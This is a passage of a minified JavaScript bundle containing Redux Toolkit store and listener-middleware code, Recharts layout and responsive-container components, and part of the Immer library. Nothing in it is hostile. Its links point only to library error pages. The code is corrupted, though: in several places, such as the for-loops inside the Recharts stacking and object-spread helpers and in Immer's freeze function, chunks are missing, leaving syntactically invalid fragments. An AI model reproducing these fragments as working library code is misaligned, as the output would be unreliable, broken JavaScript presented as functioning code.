window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:oy(10):e.type==="callback"?e.queueNotification:oy(e.timeout),u=()=>{o=!1,a&&(a=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),m=r.subscribe(f);return l.add(d),()=>{m(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[Ek]),a=!i,a&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},p6=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new Pk(e);return r&&i.push(Ak(typeof r=="object"?r:void 0)),i};function m6(e){const t=f6(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:a=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(Tx(n))l=hk(n);else throw new Error(rn(1));let c;typeof r=="function"?c=r(t):c=t();let u=qc;i&&(u=u6({trace:!1,...typeof i=="object"&&i}));const d=qO(...c),f=p6(d);let m=typeof o=="function"?o(f):f();const h=u(...m);return mk(l,a,h)}function _k(e){const t={},n=[];let r;const i={addCase(a,o){const l=typeof a=="string"?a:a.type;if(!l)throw new Error(rn(28));if(l in t)throw new Error(rn(29));return t[l]=o,i},addAsyncThunk(a,o){return o.pending&&(t[a.pending.type]=o.pending),o.rejected&&(t[a.rejected.type]=o.rejected),o.fulfilled&&(t[a.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:a.settled,reducer:o.settled}),i},addMatcher(a,o){return n.push({matcher:a,reducer:o}),i},addDefaultCase(a){return r=a,i}};return e(i),[t,n,r]}function h6(e){return typeof e=="function"}function x6(e,t){let[n,r,i]=_k(t),a;if(h6(e))a=()=>sy(e());else{const l=sy(e);a=()=>l}function o(l=a(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(wr(d)){const h=f(d,c);return h===void 0?d:h}else{if($n(d))return zk(d,m=>f(m,c));{const m=f(d,c);if(m===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return m}}return d},l)}return o.getInitialState=a,o}var v6="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",g6=(e=21)=>{let t="",n=e;for(;n--;)t+=v6[Math.random()*64|0];return t},y6=Symbol.for("rtk-slice-createasyncthunk");function b6(e,t){return`${e}/${t}`}function w6({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[y6];return function(i){const{name:a,reducerPath:o=a}=i;if(!a)throw new Error(rn(11));const l=(typeof i.reducers=="function"?i.reducers(k6()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,k){const S=typeof j=="string"?j:j.type;if(!S)throw new Error(rn(12));if(S in u.sliceCaseReducersByType)throw new Error(rn(13));return u.sliceCaseReducersByType[S]=k,d},addMatcher(j,k){return u.sliceMatchers.push({matcher:j,reducer:k}),d},exposeAction(j,k){return u.actionCreators[j]=k,d},exposeCaseReducer(j,k){return u.sliceCaseReducersByName[j]=k,d}};c.forEach(j=>{const k=l[j],S={reducerName:j,type:b6(a,j),createNotation:typeof i.reducers=="function"};S6(k)?C6(S,k,d,t):N6(S,k,d)});function f(){const[j={},k=[],S=void 0]=typeof i.extraReducers=="function"?_k(i.extraReducers):[i.extraReducers],N={...j,...u.sliceCaseReducersByType};return x6(i.initialState,z=>{for(let O in N)z.addCase(O,N[O]);for(let O of u.sliceMatchers)z.addMatcher(O.matcher,O.reducer);for(let O of k)z.addMatcher(O.matcher,O.reducer);S&&z.addDefaultCase(S)})}const m=j=>j,h=new Map,x=new WeakMap;let g;function y(j,k){return g||(g=f()),g(j,k)}function v(){return g||(g=f()),g.getInitialState()}function b(j,k=!1){function S(z){let O=z[j];return typeof O>"u"&&k&&(O=_l(x,S,v)),O}function N(z=m){const O=_l(h,k,()=>new WeakMap);return _l(O,z,()=>{const _={};for(const[T,P]of Object.entries(i.selectors??{}))_[T]=j6(P,z,()=>_l(x,z,v),k);return _})}return{reducerPath:j,getSelectors:N,get selectors(){return N(S)},selectSlice:S}}const w={name:a,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:k,...S}={}){const N=k??o;return j.inject({reducerPath:N,reducer:y},S),{...w,...b(N,!0)}}};return w}}function j6(e,t,n,r){function i(a,...o){let l=t(a);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var Yt=w6();function k6(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function N6({type:e,reducerName:t,createNotation:n},r,i){let a,o;if("reducer"in r){if(n&&!z6(r))throw new Error(rn(17));a=r.reducer,o=r.prepare}else a=r;i.addCase(e,a).exposeCaseReducer(t,a).exposeAction(t,o?jn(e,o):jn(e))}function S6(e){return e._reducerDefinitionType==="asyncThunk"}function z6(e){return e._reducerDefinitionType==="reducerWithPrepare"}function C6({type:e,reducerName:t},n,r,i){if(!i)throw new Error(rn(18));const{payloadCreator:a,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,a,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||Ol,pending:l||Ol,rejected:c||Ol,settled:u||Ol})}function Ol(){}var P6="task",Ok="listener",Tk="completed",Dx="cancelled",E6=`task-${Dx}`,A6=`task-${Tk}`,Lm=`${Ok}-${Dx}`,_6=`${Ok}-${Tk}`,jd=class{constructor(e){pf(this,"name","TaskAbortError");pf(this,"message");this.code=e,this.message=`${P6} ${Dx} (reason: ${e})`}},Rx=(e,t)=>{if(typeof e!="function")throw new TypeError(rn(32))},eu=()=>{},Mk=(e,t=eu)=>(e.catch(t),e),Lk=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),$i=e=>{if(e.aborted)throw new jd(e.reason)};function Ik(e,t){let n=eu;return new Promise((r,i)=>{const a=()=>i(new jd(e.reason));if(e.aborted){a();return}n=Lk(e,a),t.finally(()=>n()).then(r,i)}).finally(()=>{n=eu})}var O6=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof jd?"cancelled":"rejected",error:n}}finally{t==null||t()}},tu=e=>t=>Mk(Ik(e,t).then(n=>($i(e),n))),Dk=e=>{const t=tu(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:La}=Object,ly={},kd="listenerMiddleware",T6=(e,t)=>{const n=r=>Lk(e,()=>r.abort(e.reason));return(r,i)=>{Rx(r);const a=new AbortController;n(a);const o=O6(async()=>{$i(e),$i(a.signal);const l=await r({pause:tu(a.signal),delay:Dk(a.signal),signal:a.signal});return $i(a.signal),l},()=>a.abort(A6));return i!=null&&i.autoJoin&&t.push(o.catch(eu)),{result:tu(e)(o),cancel(){a.abort(E6)}}}},M6=(e,t)=>{const n=async(r,i)=>{$i(t);let a=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,m)=>{m.unsubscribe(),c([f,m.getState(),m.getOriginalState()])}});a=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await Ik(t,Promise.race(l));return $i(t),c}finally{a()}};return(r,i)=>Mk(n(r,i))},Rk=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:a}=e;if(t)i=jn(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(rn(21));return Rx(a),{predicate:i,type:t,effect:a}},$k=La(e=>{const{type:t,predicate:n,effect:r}=Rk(e);return{id:g6(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(rn(22))}}},{withTypes:()=>$k}),cy=(e,t)=>{const{type:n,effect:r,predicate:i}=Rk(t);return Array.from(e.values()).find(a=>(typeof n=="string"?a.type===n:a.predicate===i)&&a.effect===r)},Im=e=>{e.pending.forEach(t=>{t.abort(Lm)})},L6=(e,t)=>()=>{for(const n of t.keys())Im(n);e.clear()},uy=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},Bk=La(jn(`${kd}/add`),{withTypes:()=>Bk}),I6=jn(`${kd}/removeAll`),Fk=La(jn(`${kd}/remove`),{withTypes:()=>Fk}),D6=(...e)=>{console.error(`${kd}/error`,...e)},Yo=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:a,onError:o=D6}=e;Rx(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&Im(h)}),c=h=>{const x=cy(t,h)??$k(h);return l(x)};La(c,{withTypes:()=>c});const u=h=>{const x=cy(t,h);return x&&(x.unsubscribe(),h.cancelActive&&Im(x)),!!x};La(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=M6(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,La({},g,{getOriginalState:y,condition:(j,k)=>b(j,k).then(Boolean),take:b,delay:Dk(v.signal),pause:tu(v.signal),extra:a,signal:v.signal,fork:T6(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,k,S)=>{j!==v&&(j.abort(Lm),S.delete(j))})},cancel:()=>{v.abort(Lm),h.pending.delete(v)},throwIfCancelled:()=>{$i(v.signal)}})))}catch(j){j instanceof jd||uy(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(_6),i(h),h.pending.delete(v)}},f=L6(t,n);return{middleware:h=>x=>g=>{if(!xk(g))return x(g);if(Bk.match(g))return c(g.payload);if(I6.match(g)){f();return}if(Fk.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===ly)throw new Error(rn(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const k of j){let S=!1;try{S=k.predicate(g,w,y)}catch(N){S=!1,uy(o,N,{raisedBy:"predicate"})}S&&d(k,g,h,v)}}}finally{y=ly}return b},startListening:c,stopListening:u,clearListeners:f}};function rn(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var R6={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},Wk=Yt({name:"chartLayout",initialState:R6,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,a;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(a=t.payload.left)!==null&&a!==void 0?a:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:$6,setLayout:B6,setChartSize:F6,setScale:W6}=Wk.actions,U6=Wk.reducer;function Uk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function je(e){return Number.isFinite(e)}function di(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function dy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function za(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:a,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&a!=="center"&&fe(e[a]))return za(za({},e),{},{[a]:e[a]+(r||0)});if((l==="horizontal"||l==="vertical"&&a==="center")&&o!=="middle"&&fe(e[o]))return za(za({},e),{},{[o]:e[o]+(i||0)})}return e},ir=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",Y6=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(u[0]=a,a+=m,u[1]=a):(u[0]=o,o+=m,u[1]=o)}}}},G6=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(c[0]=a,a+=u,c[1]=a):(c[0]=0,c[1]=0)}}}},X6={sign:Y6,expand:R_,none:Xi,silhouette:$_,wiggle:B_,positive:G6},Z6=(e,t,n)=>{var r,i=(r=X6[n])!==null&&r!==void 0?r:Xi,a=D_().keys(t).value((l,c)=>Number(Re(l,c,0))).order(Sm).offset(i),o=a(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Re(e[d],t[c],0);Array.isArray(f)&&f.length===2&&fe(f[0])&&fe(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function Q6(e){return e==null?void 0:String(e)}function fy(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:a,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!St(i[t.dataKey])){var l=L5(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[a]?n[a].coordinate+r/2:null}var c=Re(i,St(o)?t.dataKey:o),u=t.scale.map(c);return fe(u)?u:null}var J6=e=>{var t=e.flat(2).filter(fe);return[Math.min(...t),Math.max(...t)]},eT=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],tT=(e,t,n)=>{if(e!=null)return eT(Object.keys(e).reduce((r,i)=>{var a=e[i];if(!a)return r;var{stackedData:o}=a,l=o.reduce((c,u)=>{var d=Uk(u,t,n),f=J6(d);return!je(f[0])||!je(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},py=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,my=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,nu=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=md(t,d=>d.coordinate),a=1/0,o=1,l=i.length;o{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},rT=(e,t)=>t==="centric"?e.angle:e.radius,Ar=e=>e.layout.width,_r=e=>e.layout.height,iT=e=>e.layout.scale,Vk=e=>e.layout.margin,Sd=M(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),zd=M(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),Hk="data-recharts-item-index",Kk="data-recharts-item-id",Go=60;function xy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Tl(e){for(var t=1;te.brush.height;function cT(e){var t=zd(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Go;return n+i}return n},0)}function uT(e){var t=zd(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Go;return n+i}return n},0)}function dT(e){var t=Sd(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function fT(e){var t=Sd(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var xt=M([Ar,_r,Vk,lT,cT,uT,dT,fT,pk,FO],(e,t,n,r,i,a,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+a},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},m=Tl(Tl({},f),d),h=m.bottom;m.bottom+=r,m=q6(m,c,u);var x=e-m.left-m.right,g=t-m.top-m.bottom;return Tl(Tl({brushBottom:h},m),{},{width:Math.max(x,0),height:Math.max(g,0)})}),pT=M(xt,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));M(Ar,_r,(e,t)=>({x:0,y:0,width:e,height:t}));var mT=p.createContext(null),Fn=()=>p.useContext(mT)!=null,Cd=e=>e.brush,Pd=M([Cd,xt,Vk],(e,t,n)=>({height:e.height,x:fe(e.x)?e.x:t.left,y:fe(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:fe(e.width)?e.width:t.width})),qk={},Yk={},Gk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:a}={}){let o,l=null;const c=a!=null&&a.includes("leading"),u=a==null||a.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let m=null;const h=()=>{m!=null&&clearTimeout(m),m=setTimeout(()=>{m=null,f()},r)},x=()=>{m!==null&&(clearTimeout(m),m=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=m==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(Gk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Gk;function n(r,i=0,a={}){typeof a!="object"&&(a={});const{leading:o=!1,trailing:l=!0,maxWait:c}=a,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const m=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),m.cancel(),m.schedule(),d):(m.apply(this,g),d)},x=()=>(m.flush(),d);return h.cancel=m.cancel,h.flush=x,h}e.debounce=n})(Yk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Yk;function n(r,i=0,a={}){const{leading:o=!0,trailing:l=!0}=a;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(qk);var hT=qk.throttle;const xT=Cr(hT);var vy=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),a=2;ai[o++]))}},Gn={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},Xk=(e,t,n)=>{var{width:r=Gn.width,height:i=Gn.height,aspect:a,maxHeight:o}=n,l=Zi(r)?e:Number(r),c=Zi(i)?t:Number(i);return a&&a>0&&(l?c=l/a:c&&(l=c*a),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},vT={width:0,height:0,overflow:"visible"},gT={width:0,overflowX:"visible"},yT={height:0,overflowY:"visible"},bT={},wT=e=>{var{width:t,height:n}=e,r=Zi(t),i=Zi(n);return r&&i?vT:r?gT:i?yT:bT};function jT(e){var{width:t,height:n,aspect:r}=e,i=t,a=n;return i===void 0&&a===void 0?(i=Gn.width,a=Gn.height):i===void 0?i=r&&r>0?void 0:Gn.width:a===void 0&&(a=r&&r>0?void 0:Gn.height),{width:i,height:a}}function Dm(){return Dm=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return zT(i)?p.createElement(Zk.Provider,{value:i},t):null}var $x=()=>p.useContext(Zk),CT=p.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=Gn.initialDimension,width:i,height:a,minWidth:o=Gn.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=Gn.debounce,id:f,className:m,onResize:h,style:x={}}=e,g=p.useRef(null),y=p.useRef();y.current=h,p.useImperativeHandle(t,()=>g.current);var[v,b]=p.useState({containerWidth:r.width,containerHeight:r.height}),w=p.useCallback((z,O)=>{b(_=>{var T=Math.round(z),P=Math.round(O);return _.containerWidth===T&&_.containerHeight===P?_:{containerWidth:T,containerHeight:P}})},[]);p.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return as;var z=P=>{var R,V=P[0];if(V!=null){var{width:$,height:L}=V.contentRect;w($,L),(R=y.current)===null||R===void 0||R.call(y,$,L)}};d>0&&(z=xT(z,d,{trailing:!0,leading:!1}));var O=new ResizeObserver(z),{width:_,height:T}=g.current.getBoundingClientRect();return w(_,T),O.observe(g.current),()=>{O.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:k}=v;vy(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:S,calculatedHeight:N}=Xk(j,k,{width:i,height:a,aspect:n,maxHeight:c});return vy(S!=null&&S>0||N!=null&&N>0,`The width(%s) and height(%s) of chart should be greater than 0, + please check the style of container, or the props width(%s) and height(%s), + or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the + height and width.`,S,N,i,a,o,l,n),p.createElement("div",{id:f?"".concat(f):void 0,className:qe("recharts-responsive-container",m),style:yy(yy({},x),{},{width:i,height:a,minWidth:o,minHeight:l,maxHeight:c}),ref:g},p.createElement("div",{style:wT({width:i,height:a})},p.createElement(Qk,{width:S,height:N},u)))}),by=p.forwardRef((e,t)=>{var n=$x();if(di(n.width)&&di(n.height))return e.children;var{width:r,height:i}=jT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:a,calculatedHeight:o}=Xk(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return fe(a)&&fe(o)?p.createElement(Qk,{width:a,height:o},e.children):p.createElement(CT,Dm({},e,{width:r,height:i,ref:t}))});function Bx(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Ed=()=>{var e,t=Fn(),n=xe(pT),r=xe(Pd),i=(e=xe(Cd))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},PT={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},ET=()=>{var e;return(e=xe(xt))!==null&&e!==void 0?e:PT},AT=()=>xe(Ar),_T=()=>xe(_r),_e=e=>e.layout.layoutType,ss=()=>xe(_e),OT=()=>{var e=ss();if(e==="horizontal"||e==="vertical")return e},Jk=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},TT=()=>{var e=ss();return e!==void 0},Xo=e=>{var t=tt(),n=Fn(),{width:r,height:i}=e,a=$x(),o=r,l=i;return a&&(o=a.width>0?a.width:r,l=a.height>0?a.height:i),p.useEffect(()=>{!n&&di(o)&&di(l)&&t(F6({width:o,height:l}))},[t,n,o,l]),null},eN=Symbol.for("immer-nothing"),wy=Symbol.for("immer-draftable"),sn=Symbol.for("immer-state");function On(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Eo=Object.getPrototypeOf;function Ya(e){return!!e&&!!e[sn]}function Ji(e){var t;return e?tN(e)||Array.isArray(e)||!!e[wy]||!!((t=e.constructor)!=null&&t[wy])||Zo(e)||_d(e):!1}var MT=Object.prototype.constructor.toString(),jy=new WeakMap;function tN(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=jy.get(n);return r===void 0&&(r=Function.toString.call(n),jy.set(n,r)),r===MT}function ru(e,t,n=!0){Ad(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Ad(e){const t=e[sn];return t?t.type_:Array.isArray(e)?1:Zo(e)?2:_d(e)?3:0}function Rm(e,t){return Ad(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function nN(e,t,n){const r=Ad(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function LT(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function Zo(e){return e instanceof Map}function _d(e){return e instanceof Set}function Pi(e){return e.copy_||e.base_}function $m(e,t){if(Zo(e))return new Map(e);if(_d(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=tN(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[sn];let i=Reflect.ownKeys(r);for(let a=0;a1&&Object.defineProperties(e,{set:Ml,add:Ml,clear:Ml,delete:Ml}),Object.freeze(e),t&&Object.values(e).forEach(n=>Fx(n,!0))),e}function IT(){On(2)}var Ml={value:IT};function Od(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var DT={};function ea(e){const t=DT[e];return t||On(0,e),t}var Ao;function rN(){return Ao}function RT(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function ky(e,t){t&&(ea("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Bm(e){Fm(e),e.drafts_.forEach($T),e.drafts_=null}function Fm(e){e===Ao&&(Ao=e.parent_)}function Ny(e){return Ao=RT(Ao,e)}function $T(e){const t=e[sn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Sy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[sn].modified_&&(Bm(t),On(4)),Ji(e)&&(e=iu(t,e),t.parent_||au(t,e)),t.patches_&&ea("Patches").generateReplacementPatches_(n[sn].base_,e,t.patches_,t.inversePatches_)):e=iu(t,n,[]),Bm(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==eN?e:void 0}function iu(e,t,n){if(Od(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[sn];if(!i)return ru(t,(a,o)=>zy(e,i,t,a,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return au(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const a=i.copy_;let o=a,l=!1;i.type_===3&&(o=new Set(a),a.clear(),l=!0),ru(o,(c,u)=>zy(e,i,a,c,u,n,l),r),au(e,a,!1),n&&e.patches_&&ea("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function zy(e,t,n,r,i,a,o){if(i==null||typeof i!="object"&&!o)return;const l=Od(i);if(!(l&&!o)){if(Ya(i)){const c=a&&t&&t.type_!==3&&!Rm(t.assigned_,r)?a.concat(r):void 0,u=iu(e,i,c);if(nN(n,r,u),Ya(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(Ji(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;iu(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(Zo(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&au(e,i)}}}function au(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Fx(t,n)}function BT(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:rN(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,a=Wx;n&&(i=[r],a=_o);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,l}var Wx={get(e,t){if(t===sn)return e;const n=Pi(e);if(!Rm(n,t))return FT(e,n,t);const r=n[t];return e.finalized_||!Ji(r)?r:r===Zf(e.base_,t)?(Qf(e),e.copy_[t]=Um(r,e)):r},has(e,t){return t in Pi(e)},ownKeys(e){return Reflect.ownKeys(Pi(e))},set(e,t,n){const r=iN(Pi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=Zf(Pi(e),t),a=i==null?void 0:i[sn];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(LT(n,i)&&(n!==void 0||Rm(e.base_,t)))return!0;Qf(e),Wm(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return Zf(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,Qf(e),Wm(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Pi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){On(11)},getPrototypeOf(e){return Eo(e.base_)},setPrototypeOf(){On(12)}},_o={};ru(Wx,(e,t)=>{_o[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});_o.deleteProperty=function(e,t){return _o.set.call(this,e,t,void 0)};_o.set=function(e,t,n){return Wx.set.call(this,e[0],t,n,e[0])};function Zf(e,t){const n=e[sn];return(n?Pi(n):e)[t]}function FT(e,t,n){var i;const 